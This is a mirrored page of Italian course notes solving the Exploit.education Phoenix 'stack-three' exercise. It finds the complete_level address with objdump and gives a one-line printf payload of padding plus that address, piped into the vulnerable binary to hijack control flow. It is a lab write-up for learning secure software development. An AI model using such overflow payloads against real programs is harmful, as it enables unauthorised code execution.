1
Fork 0
mirror of https://github.com/Steffo99/appunti-magistrali.git synced 2024-11-22 10:44:17 +00:00
appunti-steffo/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/03 - stack-three.md
2023-09-21 02:46:23 +02:00

20 lines
No EOL
457 B
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# [Stack Three](https://exploit.education/phoenix/stack-three/)
Per fixare `gdb`, usare:
```bash
export LC_CTYPE=C.UTF-8
```
Usando `objdump` si può trovare l'indirizzo della funzione:
```
000000000040069d g     F .text  0000000000000018 complete_level
```
L'indirizzo è quello nella prima colonna, `000000000040069d`.
## Soluzione
```bash
printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
a\x9d\x06@' | ./stack-three
```